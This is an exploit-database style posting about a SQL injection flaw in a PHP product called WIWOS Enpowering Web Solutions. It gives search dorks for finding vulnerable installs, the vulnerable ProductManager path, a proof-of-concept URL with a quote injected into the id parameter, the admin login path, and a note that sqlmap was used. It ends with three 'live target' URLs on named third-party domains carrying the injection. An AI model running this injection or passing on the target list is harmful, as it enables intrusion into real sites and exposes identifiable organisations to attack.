#; WIWOS Enpowering Web Solutions

Full title:	WIWOS Enpowering Web Solutions SQL Injection Vulnerability

Date add:	2013-08-18
Category:	web applications
Platform:	php
===========================================================================

####################################################################
.:. Author          : larcenciels
.:. Contact        : larcenciels@idblackhat.org | third1337@gmail.com
.:. Site               : http://winnerawan.com/
####################################################################
Dork: "Enpowered by: wiwos"
dork: intext:"Enpowered by: wiwos"
vuln: apps/ProductManager/
i use sqlmap
poc: http://www.site.com/apps/ProductManager/public.product.php?id=S1-4441418643'
admin url: http://site.com/login.php?return_url=/admin/

####################################################################
live target:
http://www.modentraining.edu.my/apps/ProductManager/public.product.php?id=S1-4441418643'
http://www.tastefully.com.my/apps/pagemaker/public.view.php?id=S1-305221630'
http://www.goldenland.com.my/apps/ProductManager/public.product.php?id=S1-2077718461'